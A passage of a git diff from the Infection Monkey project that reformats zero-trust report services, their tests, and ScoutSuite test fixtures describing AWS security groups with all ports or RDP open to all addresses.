".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + "level":"danger", + "display_path":"ec2.regions.id.vpcs.id.security_groups.id", + "items":[ "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups" ".sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" ], - "dashboard_name": "Rules", - "checked_items": 179, - "flagged_items": 2, - "service": "EC2", - "rationale": "It was detected that all ports in the security group are open <...>", - "remediation": None, - "compliance": None, - "references": None, + "dashboard_name":"Rules", + "checked_items":179, + "flagged_items":2, + "service":"EC2", + "rationale":"It was detected that all ports in the security group are " + "open <...>", + "remediation":None, + "compliance":None, + "references":None, }, - "...": {"...": "..."}, + "...":{"...":"..."}, }, }, - "...": {"...": "..."}, + "...":{"...":"..."}, }, - "service_list": [ + "service_list":[ "acm", "awslambda", "cloudformation", @@ -164,5 +165,5 @@ "vpc", "secretsmanager", ], - "service_groups": {"...": {"...": "..."}}, + "service_groups":{"...":{"...":"..."}}, } diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py index 4e428794d1f..c608217e157 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -9,63 +9,81 @@ RULES = [ ScoutSuiteRule( - checked_items=179, - compliance=None, - dashboard_name="Rules", - description="Security Group Opens All Ports to All", - flagged_items=2, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - rationale="It was detected that all ports in the security group are open, and any source IP address" - " could send traffic to these ports, which creates a wider attack surface for resources " - "assigned to it. Open ports should be reduced to the minimum needed to correctly", - references=[], - remediation=None, - service="EC2", + checked_items=179, + compliance=None, + dashboard_name="Rules", + description="Security Group Opens All Ports to All", + flagged_items=2, + items=[ + "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg" + "-035779fe5c293fc72" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg" + "-019eb67135ec81e65" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", + ], + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" + ".id.CIDR", + rationale="It was detected that all ports in the security group are open, " + "and any source IP address" + " could send traffic to these ports, which creates a wider attack surface " + "for resources " + "assigned to it. Open ports should be reduced to the minimum needed to " + "correctly", + references=[], + remediation=None, + service="EC2", ), ScoutSuiteRule( - checked_items=179, - compliance=[ - {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.2"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.2"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.2"}, - ], - dashboard_name="Rules", - description="Security Group Opens RDP Port to All", - flagged_items=7, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - rationale="The security group was found to be exposing a well-known port to all source addresses." - " Well-known ports are commonly probed by automated scanning tools, and could be an indicator " - "of sensitive services exposed to Internet. If such services need to be expos", - references=[], - remediation="Remove the inbound rules that expose open ports", - service="EC2", + checked_items=179, + compliance=[ + {"name":"CIS Amazon Web Services Foundations", "version":"1.0.0", + "reference":"4.1"}, + {"name":"CIS Amazon Web Services Foundations", "version":"1.0.0", + "reference":"4.2"}, + {"name":"CIS Amazon Web Services Foundations", "version":"1.1.0", + "reference":"4.1"}, + {"name":"CIS Amazon Web Services Foundations", "version":"1.1.0", + "reference":"4.2"}, + {"name":"CIS Amazon Web Services Foundations", "version":"1.2.0", + "reference":"4.1"}, + {"name":"CIS Amazon Web Services Foundations", "version":"1.2.0", + "reference":"4.2"}, + ], + dashboard_name="Rules", + description="Security Group Opens RDP Port to All", + flagged_items=7, + items=[ + "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg" + "-00bdef5951797199c" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg" + "-01902f153d4f938da" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + ], + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" + ".id.CIDR", + rationale="The security group was found to be exposing a well-known port to all " + "source addresses." + " Well-known ports are commonly probed by automated scanning tools, " + "and could be an indicator " + "of sensitive services exposed to Internet. If such services need to be " + "expos", + references=[], + remediation="Remove the inbound rules that expose open ports", + service="EC2", ), ] diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index cf65819df59..315420fb3d7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -42,12 +42,13 @@ def get_all_findings_for_ui() -> List[EnrichedFinding]: def _get_enriched_finding(finding: Finding) -> EnrichedFinding: test_info = zero_trust_consts.TESTS_MAP[finding["test"]] enriched_finding = EnrichedFinding( - finding_id=str(finding["_id"]), - test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding["status"]], - test_key=finding["test"], - pillars=test_info[zero_trust_consts.PILLARS_KEY], - status=finding["status"], - details=None, + finding_id=str(finding["_id"]), + test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][ + finding["status"]], + test_key=finding["test"], + pillars=test_info[zero_trust_consts.PILLARS_KEY], + status=finding["status"], + details=None, ) return enriched_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py index fda738c45bd..6c7b9f00fe9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -6,9 +6,9 @@ class PillarService: @staticmethod def get_pillar_report_data(): return { - "statusesToPillars": PillarService._get_statuses_to_pillars(), - "pillarsToStatuses": PillarService._get_pillars_to_statuses(), - "grades": PillarService._get_pillars_grades(), + "statusesToPillars":PillarService._get_statuses_to_pillars(), + "pillarsToStatuses":PillarService._get_pillars_to_statuses(), + "grades":PillarService._get_pillars_grades(), } @staticmethod @@ -22,11 +22,11 @@ def _get_pillars_grades(): @staticmethod def __get_pillar_grade(pillar, all_findings): pillar_grade = { - "pillar": pillar, - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0, + "pillar":pillar, + zero_trust_consts.STATUS_FAILED:0, + zero_trust_consts.STATUS_VERIFY:0, + zero_trust_consts.STATUS_PASSED:0, + zero_trust_consts.STATUS_UNEXECUTED:0, } tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] @@ -42,7 +42,7 @@ def __get_pillar_grade(pillar, all_findings): pillar_grade[finding.status] += 1 pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count( - True + True ) return pillar_grade @@ -50,10 +50,10 @@ def __get_pillar_grade(pillar, all_findings): @staticmethod def _get_statuses_to_pillars(): results = { - zero_trust_consts.STATUS_FAILED: [], - zero_trust_consts.STATUS_VERIFY: [], - zero_trust_consts.STATUS_PASSED: [], - zero_trust_consts.STATUS_UNEXECUTED: [], + zero_trust_consts.STATUS_FAILED:[], + zero_trust_consts.STATUS_VERIFY:[], + zero_trust_consts.STATUS_PASSED:[], + zero_trust_consts.STATUS_UNEXECUTED:[], } for pillar in zero_trust_consts.PILLARS: results[PillarService.__get_status_of_single_pillar(pillar)].append(pillar) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py index 671d1da445e..2786c2000ab 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py @@ -14,11 +14,11 @@ def get_principles_status(): for principle, principle_tests in list(zero_trust_consts.PRINCIPLES_TO_TESTS.items()): for pillar in zero_trust_consts.PRINCIPLES_TO_PILLARS[principle]: all_principles_statuses[pillar].append( - { - "principle": zero_trust_consts.PRINCIPLES[principle], - "tests": PrincipleService.__get_tests_status(principle_tests), - "status": PrincipleService.__get_principle_status(principle_tests), - } + { + "principle":zero_trust_consts.PRINCIPLES[principle], + "tests":PrincipleService.__get_tests_status(principle_tests), + "status":PrincipleService.__get_principle_status(principle_tests), + } ) return all_principles_statuses @@ -32,7 +32,7 @@ def __get_principle_status(principle_tests): for status in all_statuses: if zero_trust_consts.ORDERED_TEST_STATUSES.index( - status + status ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): worst_status = status @@ -44,26 +44,27 @@ def __get_tests_status(principle_tests): for test in principle_tests: test_findings = Finding.objects(test=test) results.append( - { - "test": zero_trust_consts.TESTS_MAP[test][ - zero_trust_consts.TEST_EXPLANATION_KEY - ], - "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings), - } + { + "test":zero_trust_consts.TESTS_MAP[test][ + zero_trust_consts.TEST_EXPLANATION_KEY + ], + "status":PrincipleService.__get_lcd_worst_status_for_test(test_findings), + } ) return results @staticmethod def __get_lcd_worst_status_for_test(all_findings_for_test): """ - :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST})) + :param all_findings_for_test: All findings of a specific test (get this using + Finding.objects(test={A_TEST})) :return: the "worst" (i.e. most severe) status out of the given findings. lcd stands for lowest common denominator. """ current_worst_status = zero_trust_consts.STATUS_UNEXECUTED for finding in all_findings_for_test: if zero_trust_consts.ORDERED_TEST_STATUSES.index( - finding.status + finding.status ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): current_worst_status = finding.status diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py index 51677efc994..d3bb74e1b99 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py @@ -8,67 +8,69 @@ def save_example_findings(): # devices passed = 1 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, ) # devices passed = 2 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, ) # devices failed = 1 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_FAILED ) # people verify = 1 # networks verify = 1 _save_finding_with_status( - "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY + "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, + zero_trust_consts.STATUS_VERIFY ) # people verify = 2 # networks verify = 2 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY + "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY ) # data failed 1 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 2 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, ) # data failed 3 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 4 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 5 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, ) # data verify 1 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY ) # data verify 2 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY ) # data passed 1 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_PASSED, + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_PASSED, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 37d432bf402..375dbd98926 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -37,22 +37,22 @@ def test_get_all_findings(): description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]["finding_explanation"][STATUS_FAILED] expected_finding0 = EnrichedFinding( - finding_id=findings[0].finding_id, - pillars=[DEVICES, NETWORKS], - status=STATUS_FAILED, - test=description, - test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, - details=None, + finding_id=findings[0].finding_id, + pillars=[DEVICES, NETWORKS], + status=STATUS_FAILED, + test=description, + test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, + details=None, ) description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]["finding_explanation"][STATUS_PASSED] expected_finding1 = EnrichedFinding( - finding_id=findings[1].finding_id, - pillars=[DEVICES], - status=STATUS_PASSED, - test=description, - test_key=TEST_ENDPOINT_SECURITY_EXISTS, - details=None, + finding_id=findings[1].finding_id, + pillars=[DEVICES], + status=STATUS_PASSED, + test=description, + test_key=TEST_ENDPOINT_SECURITY_EXISTS, + details=None, ) # Don't test details diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 36691e00e83..f73bd73964d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -13,7 +13,8 @@ WORKLOADS, ) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( +from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data \ + import ( save_example_findings, ) from monkey_island.cc.test_common.fixtures import FixtureEnum @@ -30,62 +31,62 @@ def test_get_pillars_grades(): def _get_expected_pillar_grades() -> List[dict]: return [ { - zero_trust_consts.STATUS_FAILED: 5, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 1, + zero_trust_consts.STATUS_FAILED:5, + zero_trust_consts.STATUS_VERIFY:2, + zero_trust_consts.STATUS_PASSED:1, # 2 different tests of DATA pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, - "pillar": "Data", + zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(DATA) - 2, + "pillar":"Data", }, { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_FAILED:0, + zero_trust_consts.STATUS_VERIFY:2, + zero_trust_consts.STATUS_PASSED:0, # 1 test of PEOPLE pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, - "pillar": "People", + zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(PEOPLE) - 1, + "pillar":"People", }, { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_FAILED:0, + zero_trust_consts.STATUS_VERIFY:2, + zero_trust_consts.STATUS_PASSED:0, # 1 different tests of NETWORKS pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, - "pillar": "Networks", + zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(NETWORKS) - 1, + "pillar":"Networks", }, { - zero_trust_consts.STATUS_FAILED: 1, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 2, + zero_trust_consts.STATUS_FAILED:1, + zero_trust_consts.STATUS_VERIFY:0, + zero_trust_consts.STATUS_PASSED:2, # 1 different tests of DEVICES pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, - "pillar": "Devices", + zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(DEVICES) - 1, + "pillar":"Devices", }, { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_FAILED:0, + zero_trust_consts.STATUS_VERIFY:0, + zero_trust_consts.STATUS_PASSED:0, # 0 different tests of WORKLOADS pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), - "pillar": "Workloads", + zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(WORKLOADS), + "pillar":"Workloads", }, { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_FAILED:0, + zero_trust_consts.STATUS_VERIFY:0, + zero_trust_consts.STATUS_PASSED:0, # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), - "pillar": "Visibility & Analytics", + zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), + "pillar":"Visibility & Analytics", }, { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_FAILED:0, + zero_trust_consts.STATUS_VERIFY:0, + zero_trust_consts.STATUS_PASSED:0, # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar( - AUTOMATION_ORCHESTRATION + zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar( + AUTOMATION_ORCHESTRATION ), - "pillar": "Automation & Orchestration", + "pillar":"Automation & Orchestration", }, ] @@ -101,25 +102,25 @@ def _get_cnt_of_tests_in_pillar(pillar: str): def test_get_pillars_to_statuses(): # Test empty database expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.AUTOMATION_ORCHESTRATION:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.NETWORKS:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.PEOPLE:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.VISIBILITY_ANALYTICS:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA:zero_trust_consts.STATUS_UNEXECUTED, } assert PillarService._get_pillars_to_statuses() == expected # Test with example finding set save_example_findings() expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, - zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED, + zero_trust_consts.AUTOMATION_ORCHESTRATION:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES:zero_trust_consts.STATUS_FAILED, + zero_trust_consts.NETWORKS:zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.PEOPLE:zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.VISIBILITY_ANALYTICS:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA:zero_trust_consts.STATUS_FAILED, } assert PillarService._get_pillars_to_statuses() == expected diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index 7eb6b19cd7a..446cc5b375b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -11,28 +11,28 @@ from monkey_island.cc.test_common.fixtures import FixtureEnum EXPECTED_DICT = { - "test_pillar1": [ + "test_pillar1":[ { - "principle": "Test principle description2", - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, - {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, + "principle":"Test principle description2", + "status":zero_trust_consts.STATUS_FAILED, + "tests":[ + {"status":zero_trust_consts.STATUS_PASSED, "test":"You ran a test2"}, + {"status":zero_trust_consts.STATUS_FAILED, "test":"You ran a test3"}, ], } ], - "test_pillar2": [ + "test_pillar2":[ { - "principle": "Test principle description", - "status": zero_trust_consts.STATUS_PASSED, - "tests": [{"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test1"}], + "principle":"Test principle description", + "status":zero_trust_consts.STATUS_PASSED, + "tests":[{"status":zero_trust_consts.STATUS_PASSED, "test":"You ran a test1"}], }, { - "principle": "Test principle description2", - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, - {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, + "principle":"Test principle description2", + "status":zero_trust_consts.STATUS_FAILED, + "tests":[ + {"status":zero_trust_consts.STATUS_PASSED, "test":"You ran a test2"}, + {"status":zero_trust_consts.STATUS_FAILED, "test":"You ran a test3"}, ], }, ], @@ -46,27 +46,27 @@ def test_get_principles_status(): zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2) principles_to_tests = { - "network_policies": ["segmentation"], - "endpoint_security": ["tunneling", "scoutsuite_service_security"], + "network_policies":["segmentation"], + "endpoint_security":["tunneling", "scoutsuite_service_security"], } zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests principles_to_pillars = { - "network_policies": {"test_pillar2"}, - "endpoint_security": {"test_pillar1", "test_pillar2"}, + "network_policies":{"test_pillar2"}, + "endpoint_security":{"test_pillar1", "test_pillar2"}, } zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars principles = { - "network_policies": "Test principle description", - "endpoint_security": "Test principle description2", + "network_policies":"Test principle description", + "endpoint_security":"Test principle description2", } zero_trust_consts.PRINCIPLES = principles tests_map = { - "segmentation": {"explanation": "You ran a test1"}, - "tunneling": {"explanation": "You ran a test2"}, - "scoutsuite_service_security": {"explanation": "You ran a test3"}, + "segmentation":{"explanation":"You ran a test1"}, + "tunneling":{"explanation":"You ran a test2"}, + "scoutsuite_service_security":{"explanation":"You ran a test3"}, } zero_trust_consts.TESTS_MAP = tests_map diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup.py index a03c554be52..bf6f627ba73 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/setup.py @@ -20,7 +20,7 @@ def try_store_mitigations_on_mongo(): mongo.db.validate_collection(mitigation_collection_name) if mongo.db.attack_mitigations.count() == 0: raise errors.OperationFailure( - "Mitigation collection empty. Try dropping the collection and running again" + "Mitigation collection empty. Try dropping the collection and running again" ) except errors.OperationFailure: try: @@ -34,18 +34,18 @@ def try_store_mitigations_on_mongo(): def store_mitigations_on_mongo(): stix2_mitigations = MitreApiInterface.get_all_mitigations() mongo_mitigations 